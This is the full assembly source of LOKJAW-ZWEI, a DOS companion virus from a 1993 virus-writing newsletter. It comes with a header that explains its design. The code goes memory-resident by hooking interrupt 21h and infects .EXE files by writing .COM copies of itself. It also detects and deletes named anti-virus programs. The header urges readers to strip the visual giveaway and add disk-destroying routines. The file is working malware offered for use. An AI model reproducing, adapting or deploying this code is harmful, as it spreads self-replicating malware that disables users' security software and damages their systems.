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567 lines
16 KiB
NASM
567 lines
16 KiB
NASM
;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory
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;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
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;
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;LOKJAW-ZWEI is a resident spawning virus which installs itself in
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;memory using the same engine as the original Civil War/Proto-T virus.
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;It is simpler in that none of its addresses have to be
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;relative, an indirect benefit of the fact that the virus has no
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;"appending" quality. That means, LOKJAW doesn't alter its "host" files,
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;much like a number of other companion/spawning viruses published in
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;previous newsletters.
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;
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;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating
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;itself as companion .COMfile to the "host." Due to the inherent rules
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;of DOS, this ensures the virus will be executed before the "host" the
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;next time the infected program is used. In reality, LOKJAW is even
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;simpler than that. If not in memory, the first time the host is
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;called, LOKJAW will go resident and not even bother to load it.
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;In most cases, the user will assume a slight error and call the host
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;again, at which point it will function normally. LOKJAW will then infect
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;every subsequent .EXE file called. LOKJAW is very transparent in operation,
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;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
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;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
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;LOKJAW spawning variants are so simple they don't even need much in the
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;way of installation checks. The virus simply becomes resident the first
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;time it is called. Once in memory, when other infect file are executed
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;LOKJAW merely looks over the loaded file, if it recognizes itself it
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;discards the load and proceeds to execute the "infected" file as would
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;be the case on an uninfected system.
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;
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;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
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;retaliating virus by quickly deleting the anti-virus program before it
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;can execute and then displaying a "chomping" graphic. Even if the anti-
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;virus program cannot detect LOKJAW in memory, it will be deleted. This
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;makes it essential that the user know how to either remove the virus from
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;memory before beginning anti-virus measures, or at the least run the
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;anti-virus component from a write-protected disk. (If the LOKJAW viruses
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;are present in memory and an anti-virus program is run from a write-
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;protected disketter, it will, of course, generate "write protect"
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;errors.) At a time when retail anti-virus packages are becoming more
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;complicated - and more likely that the
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;average user will run them from default installations on his hard file -
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;LOKJAW's retaliating power makes it a potentially very annoying pest.
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;A virus-programmer serious about inconveniencing a system could do a
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;number of things with this basic idea. They are;
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; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
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; instantly.
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; 2. Alter the_stinger routine, so that the virus immediately attacks the
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; hard file. The implementation is demonstrated by LOKJAW-DREI, which
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; merely makes the disk inaccessible until a warm reboot if an anti-virus
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; program is employed against it. By placing
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; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
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; an unknowing user to employ anti-virus measures on a machine where
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; LOKJAW or a LOKJAW-like program is memory resident. LOKJAW-DREI,
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; which does not try to delete anti-virus files, displays the "chomp"
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; and mimics trashing the disk even when the anti-virus program is
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; used from a write-protected diskette. Of course, the user will
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; see no "write protect" error as with the other viruses. The disk merely
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; becomes inacessible.
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;
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;These anti-anti-virus strategies are becoming more common in viral
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;programming.
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;
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;Mark Ludwig programmed the features of a direct-action retaliating
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;virus in his "Computer Virus Developments Quarterly." Peach, Groove and
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;Encroacher viruses attack anti-virus software by deletion of files central
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;to the functionality of the software.
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;
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;And in this issue, the Sandra virus employs a number
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;of anti-anti-virus features.
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;
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;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
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;DREI infected files from a system, simply delete the "companion" .COM
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;duplicates of your executables. Ensure that the machine has been booted
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;from a clean disk. To remove the LOKJAW .COM-appending virus, at this
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;time it will be necessary for you to restore the contaminated files from
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;a clean back-up.
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;
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;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
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;files in plain sight. Generally, spawning viruses make themselves
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;hidden-read-only-system files. This is an easy hack and the code is supplied
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;in earlier issues of the newsletter. The modification is left to
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;the reader as an academic exercise.
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.radix 16
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cseg segment
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model small
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assume cs:cseg, ds:cseg, es:cseg
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org 100h
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oi21 equ endit
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filelength equ endit - begin
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nameptr equ endit+4
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DTA equ endit+8
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begin: jmp virus_install
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note:
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db '[l<><6C>k<EFBFBD><6B>W-zW<7A><57>].<2E><>.<2E>r<EFBFBD>$ņd<C586>M<EFBFBD>$'
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db '<27>H<EFBFBD>$.p<><70>G<EFBFBD><47>m.<2E>$.<2E>.{p<><70>Ŕ-<2D>].<2E><>⋆<EFBFBD><E28B86>,$<24><><EFBFBD>.<2E><>.'
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db '<27>☞.<2E><>w$<24><><EFBFBD><EFBFBD><EFBFBD>' ; I.D. note: will probably be
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; documented in VSUM
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; install
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virus_install: mov ax,cs ; reduce memory size
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dec ax
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mov ds,ax
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cmp byte ptr ds:[0000],5a ; check if last memory
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jne cancel ; block
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mov ax,ds:[0003]
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sub ax,100 ; decrease memory
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mov ds:0003,ax
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Zopy_virus:
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mov bx,ax ; copy to claimed block
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mov ax,es ; PSP
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add ax,bx ; virus start in memory
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mov es,ax
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mov cx,offset endit - begin ; cx = length of virus
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mov ax,ds ; restore ds
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inc ax
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mov ds,ax
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lea si,ds:[begin] ; point to start of virus
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lea di,es:0100 ; point to destination
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rep movsb ; copy virus in memory
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Grab_21:
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mov ds,cx ; hook interrupt 21h
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mov si,0084h ;
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mov di,offset oi21
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mov dx,offset check_exec
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lodsw
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cmp ax,dx ;
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je cancel ; exit, if already installed
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stosw
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movsw
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push es
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pop ds
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mov ax,2521h ; revector int 21h to virus
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int 21h
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cancel: ret
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check_exec: ; look over loaded files
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pushf ; for executables
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push es ; push everything onto the
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push ds ; stack
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push ax
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push bx
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push dx
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cmp ax,04B00h ; is a file being
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; executed ?
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jne abort ; no, exit
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;if yes, try the_stinger
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do_infect: call infect ; then try to infect
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abort: ; restore everything
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pop dx
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pop bx
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pop ax
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pop ds
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pop es
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popf
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bye_bye:
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; exit
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jmp dword ptr cs:[oi21]
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new_24h:
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mov al,3 ; critical error handler
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iret
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infect:
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mov cs:[name_seg],ds ; this routine
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mov cs:[name_off],dx ; essentially grabs
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; the name of the file
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cld ; <--
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mov di,dx ; being loaded
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push ds ; and copies it into a
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pop es ; buffer where the virus
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mov al,'.' ; can compare it to its
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repne scasb ; "anti-virus" list, from
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; the_stinger routine
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call the_stinger ; now, call Lokjaw's anti-virus
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; stinger
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; no anti-virus, resume infection
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cld ; clear direction flags
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mov word ptr cs:[nameptr],dx ; save pointer to the filename
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mov word ptr cs:[nameptr+2],ds
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mov ah,2Fh ; get old DTA
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int 21h
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push es
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push bx
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push cs ; set new DTA
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pop ds
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mov dx,offset DTA
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mov ah,1Ah
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int 21h
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call searchpoint ; find filename for virus
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push di
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mov si,offset COM_txt ; is extension 'COM' ?
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mov cx,3
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rep cmpsb
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pop di
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jz do_com ; if so, go to out .COM routine
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mov si,offset EXE_txt ; is extension .EXE ?
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nop
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mov cl,3
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rep cmpsb
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jnz return
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do_exe: mov si,offset COM_txt ; load .COM extent mask
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nop
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call change_ext ; change extension on filename.EXE
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mov ax,3300h ; to .COM
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nop
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int 21h
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push dx
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cwd
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inc ax ; clear flags
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push ax
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int 21h
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Grab24h:
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mov ax,3524h ; get critical error handler vector
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int 21h
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push bx
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push es
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push cs ; set interrupt 24h to new handler
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pop ds
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mov dx,offset new_24h
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mov ah,25h
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push ax
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int 21h
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lds dx,dword ptr [nameptr] ; create the virus (with name)
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xor cx,cx ; of EXE target
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mov ah,05Bh ;
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int 21
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jc return1
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xchg bx,ax ; save handle
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push cs
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pop ds
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mov cx,filelength ; cx = virus length
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mov dx,offset begin
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mov ah,40h ; write the virus to the created
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int 21h ; file
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mov ah,3Eh ; close the file
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int 21h
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return1: pop ax ; restore interrupt 24h
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pop ds
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pop dx
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int 21h
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pop ax
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pop dx ; restore Crtl-break flags
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int 21h
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mov si,offset EXE_txt ; load .EXE mask
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call change_ext ; and change the extension on
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; the filename back to original
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return: mov ah,1Ah ; host
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pop dx ; restore old DTA
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pop ds
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int 21H
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ret ;
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do_com: call findfirst ; is the .COMfile executed the virus?
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cmp word ptr cs:[DTA+1Ah],endit - begin
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jne return ; no, so exit
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mov si,offset EXE_txt ; does the .EXE variant exist ?
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call change_ext
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call findfirst
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jnc return ;
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mov si,offset COM_txt ; load .COM extension
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call change_ext ; change the filename and
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jmp short return ; jump to exit
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searchpoint: les di,dword ptr cs:[nameptr]
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mov ch,0FFh
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mov al,0
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repnz scasb
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sub di,4
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ret
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change_ext: call searchpoint
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push cs
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pop ds
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movsw
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movsw
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ret
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findfirst: lds dx,dword ptr [nameptr]
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mov cl,27h
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mov ah,4Eh
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int 21h
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ret
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the_stinger: ; the_stinger compares the loaded filename with these defaults
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cmp word ptr es:[di-3],'MI' ;Integrity Master
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je jumptoass ; Stiller Research
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cmp word ptr es:[di-3],'XR' ; Virx = VIREX
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je jumptoass ; if there's a match
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; go to assassinate file
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cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP
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jne next1 ; F-Prot
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cmp word ptr es:[di-5],'TS'
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je jumptoass
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next1: cmp word ptr es:[di-3],'VA' ; AV = CPAV
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je jumptoass ; Central Point
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cmp word ptr es:[di-3],'TO' ;*prot = F-prot
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jne next2
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cmp word ptr es:[di-5],'RP'
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je jumptoass
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next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
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jne next3
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cmp word ptr es:[di-5],'CS'
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je jumptoass
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cmp word ptr es:[di-3],'NA' ; *lean = CLEAN.
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jne next3 ; why not, eh?
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cmp word ptr es:[di-5],'EL'
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je jumptoass
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next3: ret
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jumptoass: ; assassinate anti-virus program
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mov ds,cs:[name_seg] ; points to
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mov dx,cs:[name_off] ; filename to delete
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mov ax, 4301h ; clear attributes
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mov cx, 00h
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int 21h
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jc chomp ; exit on error to visual
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mov ah, 41h ; delete anti-virus file
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int 21h ; exit on error to visual
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jc chomp
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chomp:
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push cs ; chomper visual
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pop ds
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mov ah, 03h
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int 10h
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mov [c1], bh ; save cursor
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mov [c2], dh
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mov [c3], dl
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mov [c4], ch
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mov [c5], cl
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mov ah, 1
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mov cl, 0
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mov ch, 40h
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int 10h
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mov cl, 0
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mov dl, 4Fh
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mov ah, 6
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mov al, 0
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mov bh, 0Fh
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mov ch, 0
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mov cl, 0
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mov dh, 0
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mov dl, 4Fh
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int 10h
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mov ah, 2
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mov dh, 0
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mov dl, 1Fh
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mov bh, 0
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int 10h
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mov dx,offset eyes ; print the eyes
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mov ah, 9
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mov bl, 0Fh
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int 21h
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mov ah, 2
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mov dh, 1
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mov dl, 0
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int 10h
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mov ah, 9
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mov al, 0DCh
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mov bl, 0Fh
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mov cx, 50h
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int 10h
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mov ah, 2
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mov dh, 18h
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mov dl, 0
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int 10h
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mov ah, 9
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mov al, 0DFh
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mov bl, 0Fh
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mov cx, 50h
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int 10h
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mov dl, 0
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chomp_1:
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mov ah, 2
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mov dh, 2
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int 10h
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mov ah, 9
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mov al, 55h
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mov bl, 0Fh
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mov cx, 1
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int 10h
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mov ah, 2
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mov dh, 17h
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inc dl
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int 10h
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mov ah, 9
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mov al, 0EFh
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mov bl, 0Fh
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int 10h
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inc dl
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cmp dl, 50h
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jl chomp_1
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mov [data_1], 0
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chomp_3:
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mov cx, 7FFFh ; delays
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locloop_4:
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loop locloop_4
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inc [data_1]
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cmp [data_1], 0Ah
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jl chomp_3
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mov [data_1], 0
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mov cl, 0
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mov dl, 4Fh
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chomp_5:
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mov ah, 6
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mov al, 1
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mov bh, [data_2]
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mov ch, 0Dh
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mov dh, 18h
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int 10h
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mov ah, 7
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mov al, 1
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mov bh, [data_2]
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mov ch, 0
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mov dh, 0Ch
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int 10h
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mov cx, 3FFFh ; delays
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locloop_6:
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loop locloop_6
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inc [data_1]
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cmp [data_1], 0Bh
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jl chomp_5
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mov [data_1], 0
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chomp_7:
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mov cx, 7FFFh ; delays
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locloop_8:
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loop locloop_8
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inc [data_1]
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cmp [data_1], 0Ah
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jl chomp_7
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mov ah, 6
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mov al, 0
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mov bh, [data_2]
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mov ch, 0
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mov cl, 0
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mov dh, 18h
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mov dl, 4Fh
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int 10h
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mov cl, 7
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mov ch, 6
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int 10h
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mov ah, 2
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mov bh, [c1]
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mov dh, [c2]
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mov dl, [c3]
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int 10h
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mov al, bh
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mov ah, 5
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int 10h
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mov ah, 1
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mov ch, [c4]
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mov cl, [c5]
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int 10h
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mov ax, 0003h
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int 10h ; sort of a cls
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mov ax, 00ffh
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ret
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EXE_txt db 'EXE',0 ; extension masks
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COM_txt db 'COM',0
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eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw
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data_1 db 0
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data_2 db 0
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name_seg dw ?
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name_off dw ?
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c1 db 0
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c2 db 0
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c3 db 0
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c4 db 0
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c5 db 0
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note2: db 'Lokjaw-Zwei'
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endit:
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cseg ends
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end begin
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